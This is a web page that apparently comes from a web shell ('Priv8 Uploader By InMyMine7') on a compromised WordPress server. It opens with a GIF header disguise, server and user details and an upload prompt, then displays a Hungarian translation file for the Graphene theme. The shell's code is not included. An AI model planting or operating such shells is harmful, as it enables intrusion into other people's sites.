GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/graphene/languages/hu_HU.po
msgid ""
msgstr ""
"Project-Id-Version: Graphene 1.3 theme for WordPress\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2012-01-21 21:34+1200\n"
"PO-Revision-Date: \n"
"Last-Translator: Syahir Hakim <syahir@khairul-syahir.com>\n"
"Language-Team: Major Gábor <major.gabesz@gmail.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: \n"
"X-Poedit-Language: Hungarian\n"
"X-Poedit-Country: HUNGARY\n"
"X-Poedit-SourceCharset: utf-8\n"

#: 404.php:25
#, php-format
msgid "Searching for: <span>%s</span>"
msgstr "Keresés <span>%s</span> értékre"

#: 404.php:31
msgid "Error 404 - Page Not Found"
msgstr "Error 404 - Az oldal nem található"

#: 404.php:33
msgid "Sorry, I've looked everywhere but I can't find the page you're looking for."
msgstr "Elnézést, de nem találom a keresett oldalt."

#: 404.php:34
msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:"
msgstr "Ha külső oldalról lett ide irányítva, akkor elképzelhető, hogy az oldalt töröltük vagy áthelyeztük. Próbálja meg megkeresni:"

#: 404.php:42
msgid "Automated search"
msgstr "Automatikus keresés"

#: 404.php:45
#, php-format
msgid "Searching for the terms <strong>%s</strong> ..."
msgstr "Keresés a(z) <strong>%s</strong> érték alapján ..."

#: archive.php:24
#, fuzzy, php-format
msgid "Daily Archive: %s"
msgstr "Napi archívum: <span>%s</span>"

#: archive.php:26
#, fuzzy, php-format
msgid "Monthly Archive: %s"
msgstr "Havi archívum: <span>%s</span>"

#. translators: F will be replaced with month, and Y will be replaced with year, so "F Y" in English would be replaced with something like "June 2008".
#: archive.php:28
msgid "F Y"
msgstr "Y. F"

#: archive.php:30
#, fuzzy, php-format
msgid "Yearly Archive: %s"
msgstr "Éves archívum: <span>%s</span>"

#: archive.php:40
#, fuzzy, php-format
msgid "%1$s Archive: <span>%2$s</span>"
msgstr "Cimke archívum: <span>%s</span>"

#: archive.php:43
msgid "Blog Archive"
msgstr "Blog Archívum"

#: author.php:32
msgid "Author's posts listings"
msgstr "Szerzó bejegyzéseinek listázása"

#: category.php:13
#, php-format
msgid "Category Archive: <span>%s</span>"
msgstr "Kategóriák archívuma: <span>%s</span>"

#: comments.php:25
msgid "This post is password protected. Enter the password to view any comments."
msgstr "A bejegyzés jelszóval védett. Adja meg a helyes jelszót a továbbolvasáshoz."

#: comments.php:49
#: loop-author.php:85
#: loop.php:166
#, fuzzy, php-format
msgid "1 comment"
msgid_plural "%d comments"
msgstr[0] "1 hozzászólás"
msgstr[1] "1 hozzászólás"

#: comments.php:51
#, fuzzy, php-format
msgid "1 ping"
msgid_plural "%d pings"
msgstr[0] "1 visszakövetés"
msgstr[1] "1 visszakövetés"

#: comments.php:109
msgid "Comments have been disabled."
msgstr "Nem lehet hozzászólni."

#: comments.php:126
#, php-format
msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s"
msgstr "A hozzászólás szövegében az alábbi <abbr title=\"HyperText Markup Language\">HTML</abbr> kódok használhatók: %s"

#: comments.php:131
msgid "Your email address will not be published."
msgstr "Az email címet nem hozzuk nyilvánosságra."

#: comments.php:134
msgid "Submit Comment"
msgstr "Hozzászólás elküldése"

#: footer.php:41
msgid "Copyright"
msgstr ""

#. translators: %s will replaced by a link to the Creative Commons licence page, with "Creative Commons Licence" as the link text.
#: footer.php:56
#, fuzzy, php-format
msgid "Except where otherwise noted, content on this site is licensed under a %s."
msgstr "Ha másképp nincs jelölve, akkor a a honlap tartalma a <a href=\"http://creativecommons.org/licenses/by-nc-nd/3.0/\">Creative Commons Licensz</a> hatálya alatt áll."

#: footer.php:56
#, fuzzy
msgid "Creative Commons Licence"
msgstr "Mutasd a Creative Commons logót"

#: footer.php:58
msgid "Creative Commons Licence BY-NC-ND"
msgstr ""

#: footer.php:79
msgid "Return to top"
msgstr ""

#. translators: %1$s is the link to WordPress.org, %2$s is the theme's name
#: footer.php:89
#, fuzzy, php-format
msgid "Powered by %1$s and the %2$s."
msgstr "Működteti a"

#: footer.php:89
#, fuzzy
msgid "Graphene Theme"
msgstr "Graphene sablonbeállítások"

#: header.php:36
#, php-format
msgid "Subscribe to %s's RSS feed"
msgstr "Feliratkozás az %s RSS csatornára"

#: header.php:36
msgid "Subscribe to RSS feed"
msgstr "Feliratkozás az RSS csatornára"

#: header.php:82
#: header.php:102
msgid "Go back to the front page"
msgstr "Vissza a kezdőoldalra"

#: loop-author.php:23
msgid "Author's details"
msgstr "A szerző adatai"

#. translators: %1$s is the first name, %2$s is the last name
#: loop-author.php:25
#, php-format
msgid "<strong>Name:</strong> %1$s %2$s"
msgstr "<strong>Név:</strong> %1$s %2$s"

#: loop-author.php:26
#, php-format
msgid "<strong>Date registered:</strong> %1$s"
msgstr "<strong>Regisztráció dátuma:</strong> %1$s"

#: loop-author.php:35
msgid "Biography"
msgstr "Bemutatkozás"

#: loop-author.php:52
msgid "Latest posts"
msgstr "Utolsó bejegyzései"

#: loop-author.php:55
#: loop-author.php:85
#, php-format
msgid "Permalink Link to %s"
msgstr "%s megjelenítése"

#: loop-author.php:55
#: loop-author.php:85
#: loop-children.php:45
#: loop-page.php:8
#: loop-page.php:35
#: loop-post-formats.php:36
#: loop-single.php:67
#: loop.php:31
#: loop.php:66
msgid "(No title)"
msgstr "(Nincs cím)"

#: loop-author.php:92
msgid "Most commented posts"
msgstr "Legtöbb hozzászólást kapott bejegyzés(ek)"

#: loop-children.php:45
#: loop-children.php:53
#: loop-post-formats.php:36
#: loop.php:65
#: loop.php:134
#, php-format
msgid "Permalink to %s"
msgstr "%s megjelenítése"

#: loop-children.php:53
msgid "View page &raquo;"
msgstr "Oldal megtekintése &raquo;"

#: loop-not-found.php:3
msgid "Not found"
msgstr "Nem található"

#: loop-not-found.php:8
msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?"
msgstr "Elnézést, de a keresett kifejezés nem található. Megpróbálja megkeresni?"

#: loop-not-found.php:10
msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?"
msgstr "Elnézést, de a keresett szó alapján nem találtam semmit. Megpróbálja egy másik szóval a keresést?"

#: loop-page.php:23
#: loop-page.php:24
#, fuzzy, php-format
msgid "Print this %s"
msgstr "Oldal nyomtatása"

#: loop-page.php:45
#: loop-single.php:83
#: loop.php:85
#, fuzzy, php-format
msgid "Edit %s"
msgstr "Szerkesztés"

#: loop-page.php:66
#: loop-single.php:122
#: loop.php:148
#, fuzzy
msgid "Pages:"
msgstr "Cimkék:"

#: loop-page.php:90
#: loop-post-formats.php:89
#: loop-single.php:172
#: loop.php:179
msgid "Permanent link to this article:"
msgstr "Link a következőhöz:"

#: loop-post-formats.php:15
msgid "Status update"
msgstr ""

#: loop-post-formats.php:16
msgid "Audio"
msgstr ""

#: loop-post-formats.php:17
msgid "Image"
msgstr ""

#: loop-post-formats.php:18
msgid "Video"
msgstr ""

#: loop-post-formats.php:19
msgid "Post format"
msgstr ""

#. translators: This is the PHP date formatting string for the status post format. See http://php.net/manual/en/function.date.php for more details.
#: loop-post-formats.php:32
msgid "l F j, Y"
msgstr ""

#: loop-post-formats.php:32
msgid "g:i A"
msgstr ""

#: loop-post-formats.php:42
msgid "Edit post"
msgstr "Szerkesztés"

#. translators: This is the PHP date formatting string for the image post format. See http://php.net/manual/en/function.date.php for more details.
#: loop-post-formats.php:77
#, fuzzy, php-format
msgid "Posted on: %s"
msgstr "Működteti a"

#: loop-post-formats.php:77
#, fuzzy
msgid "F j, Y"
msgstr "Y. F"

#: loop-single.php:76
#: loop.php:78
msgid "Categories:"
msgstr "Kategóriák:"

#: loop-single.php:98
#: loop.php:102
#, php-format
msgid "by %s"
msgstr ""

#: loop-single.php:132
#: loop.php:158
msgid "Tags:"
msgstr "Cimkék:"

#: loop-single.php:132
#: loop.php:158
msgid "This post has no tag"
msgstr "Nincsenek cimkék"

#: loop-single.php:153
msgid "About the author"
msgstr "A szerzőről"

#: loop.php:127
msgid "Read the rest of this entry &raquo;"
msgstr "Tovább a teljes bejegyzéshez &raquo;"

#: loop.php:166
msgid "Leave comment"
msgstr "Szóljon hozzá"

#: loop.php:166
#, fuzzy
msgid "Comments off"
msgstr "Hozzászólás RSS"

#: search-404.php:14
msgid "Suggested results"
msgstr "Ajánlott találatok"

#. translators: %s is the search term
#: search-404.php:18
#, php-format
msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:"
msgstr "A keresés a %s kifejezésre az alábbi találatokat eredményezte:"

#: search-404.php:35
msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above."
msgstr "<strong>Elézést, de nem találtam semmit.</strong> Próbáljon meg mást keresni a keresőmezőben."

#: search.php:10
#, fuzzy, php-format
msgid "Search results for: %s"
msgstr "keresés eredménye: <span>%s</span>"

#: searchform.php:3
#: searchform.php:4
msgid "Search"
msgstr "Keresés"

#: sidebar-two.php:35
#: sidebar.php:41
msgid "Meta"
msgstr "Meta"

#: sidebar-two.php:40
#: sidebar.php:46
msgid "Posts RSS"
msgstr "Bejegyzés RSS"

#: sidebar-two.php:41
#: sidebar.php:47
msgid "Comments RSS"
msgstr "Hozzászólás RSS"

#. translators: %s is the link to wordpress.org
#: sidebar-two.php:43
#: sidebar.php:49
#, php-format
msgid "Powered by %s"
msgstr "Működteti a"

#: sidebar-two.php:43
#: sidebar.php:49
msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform."
msgstr "Powered by WordPress, state-of-the-art semantic personal publishing platform."

#: sidebar-two.php:48
#: sidebar.php:34
msgid "Archives"
msgstr "Archívum"

#: tag.php:13
#, php-format
msgid "Tag Archive: <span>%s</span>"
msgstr "Cimke archívum: <span>%s</span>"

#: admin/custom-fields.php:14
msgid "Graphene post-specific options"
msgstr "Graphene bejegyzés-specifikus beállításai"

#: admin/custom-fields.php:15
msgid "Graphene page-specific options"
msgstr "Graphene bejegyzés-specifikus beállításai"

#: admin/custom-fields.php:97
msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page."
msgstr "A beállítások ehhez a bejegyzéshez vagy oldalhoz használhatók. A Graphene sablon előre beállított értékeit felülírja."

#: admin/custom-fields.php:98
msgid "Slider options"
msgstr "Tallózó beállításai"

#: admin/custom-fields.php:102
msgid "Slider image"
msgstr "Tallózó képe"

#: admin/custom-fields.php:106
#: admin/custom-fields.php:132
#: admin/custom-fields.php:146
msgid "Use global setting"
msgstr "Általános beállítások használata"

#: admin/custom-fields.php:107
msgid "Don't show image"
msgstr "Ne mutasson képet"

#: admin/custom-fields.php:108
msgid "Featured Image"
msgstr "Tartalom kiemelt képe"

#: admin/custom-fields.php:109
msgid "First image in post"
msgstr "Bejegyzés első képe"

#: admin/custom-fields.php:110
msgid "Custom URL"
msgstr "Egyéni URL"

#: admin/custom-fields.php:116
msgid "Custom slider image URL"
msgstr "Egyéni URL a Tallózó képéhez"

#: admin/custom-fields.php:120
msgid "Make sure you select Custom URL in the slider image option above to use this custom url."
msgstr "Legyen bekapcsolva az Egyéni URL, ha használni szeretnéd ezt a lehetőséget."

#: admin/custom-fields.php:124
msgid "Display options"
msgstr "Kinézet beállításai"

#: admin/custom-fields.php:128
msgid "AddThis Social Sharing button"
msgstr "AddThis közösségi megosztás gombja"

#: admin/custom-fields.php:133
msgid "Show button"
msgstr "Mutat"

#: admin/custom-fields.php:134
msgid "Hide button"
msgstr "Rejt"

#: admin/custom-fields.php:142
msgid "Post date display"
msgstr "Dátum megjelenése"

#: admin/custom-fields.php:147
#, fuzzy
msgid "Hide date"
msgstr "Rejtett"

#: admin/custom-fields.php:155
#, fuzzy
msgid "Navigation options"
msgstr "Favicon beállításai"

#: admin/custom-fields.php:159
#, fuzzy
msgid "Description"
msgstr "Bemutatkozó szöveg betütípusa"

#: admin/custom-fields.php:163
msgid "Only required if you need a description in the navigation menu and you are not using a custom menu."
msgstr ""

#: admin/faq.php:11
msgid "Graphene's Frequently Asked Questions"
msgstr "Graphene Gyakran Ismételt Kérdések"

#: admin/faq.php:14
msgid "Where should I go for the theme's support?"
msgstr "Hol találok támogatást a sablonhoz?"

#: admin/faq.php:15
#, fuzzy
msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>."
msgstr "Minden kérdéssel a készítő <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\">Support Forum</a> oldalát keresd fel."

#: admin/faq.php:18
msgid "The post's featured image is replacing my header image. Help!"
msgstr "A bejegyzés kiemelt képe lett a fejrész képe. Mi történt? Segíts!"

#: admin/faq.php:19
#, fuzzy
msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages."
msgstr "Ez egy beállítása a sablonnak, ami a WordPress alap sablonjának, a TwentyTen-nek az alapján készült. Minden kiemelt kép - amit beállítottál a bejegyzésben/oldalon -, megjelenik a fejrész kép helyett, ha megegyezik, vagy nagyobb a mérete (900 x 198 pixel) a beállítottnál. Ezzel lehet elérni, hogy egyedi fejrész képek jelenjenek meg a különböző bejegyzéseknél vagy oldalakon."

#: admin/faq.php:20
#, fuzzy
msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display &gt; Header Display Options."
msgstr "Ha nem akarod ezt a lehetőséget használni, vedd ki a jelölést a <em>Cserélje le a bejegyzés képére a fejrész képét</em> pontnál, amit a <a href=\"themes.php?page=graphene_options&tab=display\">Graphene sablonbeállítások</a> oldalon, a Kinézet > Fejrész Kinézetének beállításai menüben találsz.."

#: admin/faq.php:23
msgid "Can I modify Graphene to my heart's content without paying anything?"
msgstr "Módosíthatom úgy a Graphene sablont, hogy fizetnék érte?"

#: admin/faq.php:24
msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2."
msgstr "Mint minden WordPress sablon, a Graphene is megtalálható a a Worpdress.org hivatalos sablon tárolóban, és vonatkozik rá a GNU General Public License (GPL) Version 2 jogi nyilatkozat. A sablon csomagjában megtalálod a  <code>licence.txt</code> fájlt, ahol elolvashatod a teljes jogi nyilatkozatot. Kérdésedre válaszolva, bármilyen változtatást úgy tudsz végrehajtani, ha figyelembe veszed azt, hogy  <em>szabadon módosíthatod a sablont bárhogyan is használod (beleértve a kereskedelmi felhasználást is)</em> és a készítő felé nincs pénzbeli kötelezettséged. Ha változtatsz a sablonon, tovább kell vinned a  GPLv2 licenszet."

#: admin/faq.php:25
msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme."
msgstr "Persze lehetőséged van támogatni a fejlesztőt a <a href=\"themes.php?page=graphene_options\">Fejlesztő támogatása</a> részben megadott lehetőségekkel, hogy a további fejlesztéseket el tudja végezni."

#: admin/faq.php:28
msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?"
msgstr "Ha a sablon a GPLv2 licensz alatt áll, mi ez a Creative Commons licensz a lábrészben?"

#: admin/faq.php:29
msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it."
msgstr "A Creative Commons licensz összefoglalja a napjainkban kiadott webes tartalom készítőire vonatkozó jogi nyilatkozatot, mint például a szabad szellemi tulajdon és a szabad felhasználhatóság. Ezzel a licensszel tudod védeni egyszerűen az oldalad tartalmát, amit létrehoztál. De le is veheted ezt a \"védettséget\" az oldalról a a Graphene sablonbeállítások > Alapbeállítás > Lábrész beállításai menüpontban, ha nem akarod használni."

#: admin/faq.php:30
msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it."
msgstr "Ez a lehetőség <em>nem a sablon licenszének része</em>, csak a weboldalad tartalmának védelmét hivatott szolgálni."

#: admin/faq.php:33
msgid "Is the theme compatible with this plugin or that plugin?"
msgstr "Bármelyik kiegészítővel kompatibilis a sablon?"

#: admin/faq.php:34
msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme."
msgstr "Erre nehéz választ adni. Sok kiegészítő létezik a WordPress-hez, nem lehet a készítés és fejlesztés alatt minden kiegészítőt úgy tesztelni, hogy ezzel a sablonnal is megfelelően működjön. Indulj ki abból, hogy ez a sablon is úgy készült, hogy működjön minden WordPress kiegészítővel."

#: admin/faq.php:35
msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support."
msgstr "Javaslom, hogy a használni kívánt kiegészítőt töltsd le, kapcsold be az oldaladon és próbáld ki. Ha valamilyen problémát vagy hibát tapasztalsz, a kiegészítő fejlesztőjét keresd meg a kérdéseddel. Ha ő azt válaszolja, hogy a sablonnal van a probléma, tudod, hol tehetsz fel kérdéseket."

#: admin/feature-pointers.php:8
msgid "Where are all the options?!"
msgstr ""

#: admin/feature-pointers.php:9
msgid "We've decided to clean things up!"
msgstr ""

#: admin/feature-pointers.php:10
msgid "We know how too many options can really be daunting to new users, so we've hidden them."
msgstr ""

#: admin/feature-pointers.php:11
msgid "But no worries! If you're a seasoned user of the Graphene theme, or whenever you feel ready to further customise your site, just click on the \"Show all options\" link, and they will magically appear to you."
msgstr ""

#: admin/options-advanced.php:12
#: admin/options.php:350
msgid "Preview"
msgstr ""

#: admin/options-advanced.php:19
#, fuzzy
msgid "Enable preview of your site on the Graphene Theme Options page"
msgstr "Graphene beállítások kezdőoldalára"

#: admin/options-advanced.php:31
#, fuzzy
msgid "Action Hooks Widget Areas"
msgstr "Lábrész Widget terület"

#: admin/options-advanced.php:34
msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks."
msgstr ""

#: admin/options-advanced.php:35
msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook."
msgstr ""

#: admin/options-advanced.php:44
msgid "Click to show/hide the action hooks for this file"
msgstr ""

#: admin/options-advanced.php:56
msgid "Rescan action hooks"
msgstr ""

#: admin/options-display.php:13
msgid "Header Display Options"
msgstr "Fejrész kinézetének beállításai"

#: admin/options-display.php:19
msgid "Use light-coloured header bars"
msgstr "Világos felső menüpontok használata"

#: admin/options-display.php:25
msgid "Link header image to front page"
msgstr "Fejrész képe a kezdőoldalra mutasson"

#: admin/options-display.php:28
msgid "Check this if you disable the header texts and want the header image to be linked to the front page."
msgstr "Jelöld be, ha azt szeretnéd, hogy a fejrész képe mutasson a kezdőoldalra és nem szeretnél szöveget használni."

#: admin/options-display.php:33
msgid "Disable Featured Image replacing header image"
msgstr "Tíltsa meg, hogy a fejrész képét a bejegyzés képére cserélje"

#: admin/options-display.php:36
msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension."
msgstr "Jelöld be, ha a bejegyzés képét nem akarod használni a fejrész képe helyett, függetlenül a bejegyzés képméretének beállításaitól."

#: admin/options-display.php:41
msgid "Use random header image"
msgstr "Véletlenszerű fejrészkép használata"

#: admin/options-display.php:45
msgid "Check this to show a random header image (random image taken from the available default header images)."
msgstr "Jelöld be, ha változó képeket szeretnél látni (a képek helye az alap fejrész képek könyvtára)."

#: admin/options-display.php:46
msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined."
msgstr "<strong>Figyelem:</strong> csak azokon az oldalakon használható, ahol nincs speciálisan beállítva kép."

#: admin/options-display.php:52
msgid "Search box location"
msgstr "Keresőmező helye"

#: admin/options-display.php:56
msgid "Top bar"
msgstr "Felső mező"

#: admin/options-display.php:57
msgid "Navigation bar"
msgstr "Navigációs mező"

#: admin/options-display.php:58
#, fuzzy
msgid "Disable search box"
msgstr "Tallózó kikapcsolása"

#: admin/options-display.php:71
msgid "Column Options"
msgstr "Oszlop beállítások"

#: admin/options-display.php:77
msgid "Column mode"
msgstr "Oszlop módozatok"

#: admin/options-display.php:86
#: admin/options-display.php:131
msgid "One column"
msgstr ""

#: admin/options-display.php:93
#: admin/options-display.php:138
msgid "Two columns (with sidebar right)"
msgstr ""

#: admin/options-display.php:97
#: admin/options-display.php:142
msgid "Two columns (with sidebar left)"
msgstr ""

#: admin/options-display.php:104
#: admin/options-display.php:149
msgid "Three columns (with two sidebars right)"
msgstr ""

#: admin/options-display.php:108
#: admin/options-display.php:153
msgid "Three columns (with two sidebars left)"
msgstr ""

#: admin/options-display.php:112
#: admin/options-display.php:157
msgid "Three columns (with sidebars left and right)"
msgstr ""

#: admin/options-display.php:122
#, fuzzy
msgid "bbPress column mode"
msgstr "Oszlop módozatok"

#: admin/options-display.php:173
#, fuzzy
msgid "Column Width Options"
msgstr "Oszlop beállítások"

#: admin/options-display.php:176
#, fuzzy
msgid "Note: Leave values empty to reset to the default values."
msgstr "Alapértékekhez hagyd üresen a mezőt."

#: admin/options-display.php:180
msgid "Container width"
msgstr ""

#: admin/options-display.php:197
#: admin/options-display.php:220
#, fuzzy
msgid "Column width"
msgstr "Oszlop módozatok"

#: admin/options-display.php:197
#, fuzzy
msgid "two-column mode"
msgstr "Oszlop módozatok"

#: admin/options-display.php:201
#: admin/options-display.php:228
#, fuzzy
msgid "Content"
msgstr "Tartalom szövege"

#: admin/options-display.php:205
#, fuzzy
msgid "Sidebar"
msgstr "Keresés"

#: admin/options-display.php:220
#, fuzzy
msgid "three-column mode"
msgstr "Oszlop módozatok"

#: admin/options-display.php:224
msgid "Left sidebar"
msgstr ""

#: admin/options-display.php:232
msgid "Right sidebar"
msgstr ""

#: admin/options-display.php:253
msgid "Posts Display Options"
msgstr "Bejegyzés kinézetének beállításai"

#: admin/options-display.php:259
msgid "Hide post author"
msgstr "Szerző rejtése"

#: admin/options-display.php:269
msgid "Hidden"
msgstr "Rejtett"

#: admin/options-display.php:270
msgid "As an icon (without the year)"
msgstr "Ikonként (év nélkül)"

#: admin/options-display.php:271
msgid "As an icon (including the year)"
msgstr "Ikonként (évvel)"

#: admin/options-display.php:272
msgid "As inline text"
msgstr "Szövegként"

#: admin/options-display.php:274
msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration."
msgstr "Megjegyzés: dátum szövegként való megjelenítése területet vesz el a bejegyzésből. 3 mezős elrendezésnél érdemes használni."

#: admin/options-display.php:279
msgid "Hide post categories"
msgstr "Kategória rejtése"

#: admin/options-display.php:285
msgid "Hide post tags"
msgstr "Cimkék rejtése"

#: admin/options-display.php:291
msgid "Hide post comment count"
msgstr "hozzászólások számának rejtése"

#: admin/options-display.php:292
msgid "Only affects posts listing (such as the front page) and not single post view."
msgstr "Csak a bejegyzések felsorolásakor érvényes (pl.: Kezdőoldal), a bejegyzés teljes szövegénél látható lesz."

#: admin/options-display.php:297
msgid "Show post author's <a href=\"http://en.gravatar.com/\">gravatar</a>"
msgstr ""

#: admin/options-display.php:301
msgid "Show post author's info"
msgstr "Szerző adatainak mutatása"

#: admin/options-display.php:313
msgid "Excerpts Display Options"
msgstr "Összegzések kinézetének beállításai"

#: admin/options-display.php:319
msgid "Show excerpts in front page"
msgstr "Összefoglaló mutatása a kezdőoldalon"

#: admin/options-display.php:325
msgid "Show full content in archive pages"
msgstr "Archívumokban a teljes tartalom mutatása"

#: admin/options-display.php:329
msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used."
msgstr "Figyelem: Az archívumok kategória, cimke, idő vagy keresési értékek szerint vannak rendezve. Ha ezt szeretnéd használni, akkor az egész bejegyzést/oldalt fogja megjeleníteni az összegzés helyett, a továbbolvasási értéket kihagyja."

#: admin/options-display.php:333
msgid "Show More link for manual excerpts"
msgstr "Több link a összefoglalókhoz"

#: admin/options-display.php:337
msgid "Retain these HTML tags in excerpts"
msgstr "Tartsa meg az alábbi HTML értékeket az összefoglalásokban"

#: admin/options-display.php:340
msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> to retain <code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code>, and <code>&lt;li&gt;</code> HTML tags."
msgstr "Add meg azokat a HTML értékeket, amiket meg akasz tartani az összefoglalásokban. Írd be például a <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> kódot, hogy láthasd a <code>&lt;p&gt;</code>-t, <code>&lt;ul&gt;</code>, és <code>&lt;li&gt;</code> HTML értékeket."

#: admin/options-display.php:353
msgid "Comments Display Options"
msgstr "Hozzászólás megjelenésének beállításai"

#: admin/options-display.php:359
msgid "Hide allowed tags in comment form"
msgstr "Használható kódok eltüntetése"

#: admin/options-display.php:372
#, fuzzy
msgid "Colours Options"
msgstr "Oszlop beállítások"

#: admin/options-display.php:375
msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics."
msgstr ""

#: admin/options-display.php:376
#, php-format
msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use."
msgstr ""

#: admin/options-display.php:377
#, fuzzy
msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>."
msgstr "Minden kérdéssel a készítő <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\">Support Forum</a> oldalát keresd fel."

#: admin/options-display.php:378
msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome."
msgstr ""

#: admin/options-display.php:379
msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour."
msgstr ""

#: admin/options-display.php:380
#, fuzzy
msgid "Content area"
msgstr "Tartalom szövege"

#: admin/options-display.php:384
msgid "Main content wrapper background"
msgstr ""

#: admin/options-display.php:385
msgid "Post and pages content background"
msgstr ""

#: admin/options-display.php:386
msgid "Post meta and footer border"
msgstr ""

#: admin/options-display.php:387
#, fuzzy
msgid "Post and pages top border"
msgstr "Bejegyzések és/vagy oldalak, amit mutasson"

#: admin/options-display.php:388
#, fuzzy
msgid "Post and pages bottom border"
msgstr "Bejegyzések és/vagy oldalak, amit mutasson"

#: admin/options-display.php:398
#: admin/options-display.php:428
#: admin/options-display.php:454
#: admin/options-display.php:481
#: admin/options-display.php:510
#: admin/options-display.php:646
#: admin/options-display.php:667
msgid "Clear"
msgstr ""

#: admin/options-display.php:405
msgid "Widgets"
msgstr ""

#: admin/options-display.php:408
#, fuzzy
msgid "Widget preview"
msgstr "Widget terület beállításai"

#: admin/options-display.php:409
msgid "Widget title"
msgstr ""

#: admin/options-display.php:409
msgid "List item"
msgstr ""

#: admin/options-display.php:413
msgid "Widget item background"
msgstr ""

#: admin/options-display.php:414
msgid "Widget item list border"
msgstr ""

#: admin/options-display.php:415
msgid "Widget header border"
msgstr ""

#: admin/options-display.php:416
#, fuzzy
msgid "Widget title colour"
msgstr "Szín"

#: admin/options-display.php:417
msgid "Widget title text shadow colour"
msgstr ""

#: admin/options-display.php:418
msgid "Widget header gradient bottom colour"
msgstr ""

#: admin/options-display.php:419
msgid "Widget header gradient top colour"
msgstr ""

#: admin/options-display.php:436
#, fuzzy
msgid "Slider"
msgstr "Tallózó képe"

#: admin/options-display.php:439
msgid "Slider background preview"
msgstr ""

#: admin/options-display.php:444
#, fuzzy
msgid "Slider top left colour"
msgstr "Tallózó beállításai"

#: admin/options-display.php:445
msgid "Slider bottom right colour"
msgstr ""

#: admin/options-display.php:462
#, fuzzy
msgid "Block buttons"
msgstr "Mutat"

#: admin/options-display.php:465
msgid "Block button preview"
msgstr ""

#: admin/options-display.php:466
msgid "Button label"
msgstr ""

#: admin/options-display.php:470
msgid "Button background colour"
msgstr ""

#: admin/options-display.php:471
msgid "Button label colour"
msgstr ""

#: admin/options-display.php:472
msgid "Button label text shadow"
msgstr ""

#: admin/options-display.php:489
#, fuzzy
msgid "Archive title"
msgstr "Archívum"

#: admin/options-display.php:492
msgid "Archive title preview"
msgstr ""

#: admin/options-display.php:493
#, fuzzy
msgid "Archive title:"
msgstr "Archívum"

#: admin/options-display.php:493
msgid "Sample title"
msgstr ""

#: admin/options-display.php:497
msgid "Archive background gradient left colour"
